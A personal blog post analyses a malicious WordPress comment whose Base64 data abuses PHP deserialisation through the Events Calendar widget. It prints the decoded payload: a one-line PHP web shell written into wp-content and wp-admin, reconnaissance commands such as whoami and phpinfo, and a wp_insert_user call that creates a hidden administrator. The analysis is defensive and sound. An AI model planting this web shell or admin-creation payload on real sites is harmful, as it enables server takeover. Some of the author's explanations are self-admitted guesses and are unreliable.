by Fred Theilig – @fmtheilig
My post two weeks ago was an interesting exploration of malicious blog comments, but I was left with more questions than answers. Recently I was blessed with another comment with attached Base64 data, but this one was a wee bit larger. The dataset in the previous comment, after clean-up, was 49 lines. This one is 2064 lines, over 40 times longer. And after manually deobfuscating it, it started to make sense.
I learned a few things since the last post. Firstly the O: data type isn’t ordinal, it’s an Object. Also, the array data type has two “fields” per element. The first one is a label and the second the actual data. When the label isn’t important, it’ll be just 0 and 1 like below. Finally, and this one kinda hurts, “<!–” does not designate JavaScript. It just designates an HTML comment. Is it plainly clear that I am no web developer?
Here, I will repeat a snippet from the last post:
s:2:"w1";
O:8:"stdClass":3:
{
s:8:"callback";
s:17:"file_put_contents";
s:9:"arguments";
a:2:
{
i:0;
s:14:"pwn_d0a180.php";
i:1;
s:51:"<?php if(isset($_GET["c"])) { system($_GET["c"]); } ?>";
}
s:8:"is_empty";
b:0;
}
This defines, for lack of a better word, command “w1”, the only one in the dataset. The new, larger one contains 11:
l0, l1, l2, l3, l4, w1, w2, w3, w4, w5, and a0. Each are repeated 11 times and (I presume) referenced once. The “L” commands run various DOS commands:
“cmd /c echo LEAKST && cd && echo LEAKEND”
“echo LEAKST; pwd; echo LEAKEND”
“cmd /c echo TECOI_DOCROOT=%DOCUMENT_ROOT% TECOI_CD=%CD%”
whoami
phpinfo
The “W” commands try to create the php malware file in one of five directories:
wp-content/uploads/
wp-content/
wp-includes/
wp-admin/
or current directory
I lamented last time that I didn’t have the actual php malware, but I was wrong. The file_put_contents command puts text into a file. Element 0 is the filename (pwn_d0a180.php) and element 1 is the file contents (<?php if(isset($_GET[“c”])) { system($_GET[“c”]); } ?>). Finally, the is_empty flag is set to FALSE. It was staring me right in the face.
The final “a0” command uses the wp_insert_user command to create a wordpress administrator:
s:2:"a0";
O:8:"stdClass":3:
{
s:8:"callback";
s:14:"wp_insert_user";
s:9:"arguments";
a:1:
{
i:0;
a:4:
{
s:10:"user_login";
s:12:"supperlfkisg";
s:9:"user_pass";
s:16:"YJ6XpIKjhFPQREGs";
s:10:"user_email";
s:24:"supperlfkisg@poc.invalid";
s:4:"role";
s:13:"administrator";
}
}
s:8:"is_empty";
b:0;
}
Points for the complex password. Let’s go back to that PHP code, cleaned up for clarity:
if ( isset( $_GET["c"] ) )
{
$o=[];
exec( $_GET["c"], $o );
echo implode( "", $o );
}
else
{
echo "SHELLOK";
}
The isset function, my DDG-fu tells me, checks to see if a variable is empty. In this case, it’s the value returned by $_GET[“c”], which would be the command line parameter “c”. exec executes that value as a command, and the output is placed into variable $o. implode joins an array element with a string. I do not see what that purpose is.
But if there is no parameter “c”, echo “SHELLOK”.
I am still faced with the same questions. Where is this command line parameter “c”? What acts upon this set of data? Let’s look again at the traffic before the base64:
<!-- wp:legacy-widget
{
"idBase": "tribe-widget-events-list",
"instance":
{
“encoded”:
To save time and typing, I will use an asterix* to designate the text “whatever that is”. This defines a legacy widget*. The variable idBase* is set to tribe-widget-events-list*. But, wait a minute. I might actually know what that is. I believe it refers to The Events Calendar plugin by Nexcess, which I use. So, maybe that giant dataset is stuffed into the events calendar database, and it’s the plugin that does the heavy lifting. Just maybe.
I’ve learned a whole lot here, but there is so much more I don’t understand. There is a huge gap between getting a LAMP stack and WordPress instance up and running, and understanding how things work under the covers. I wouldn’t want anyone to think I’m doing anything more than looking at code and making guesses.
But this is as far as I go. I hope this exploration proves useful to somebody.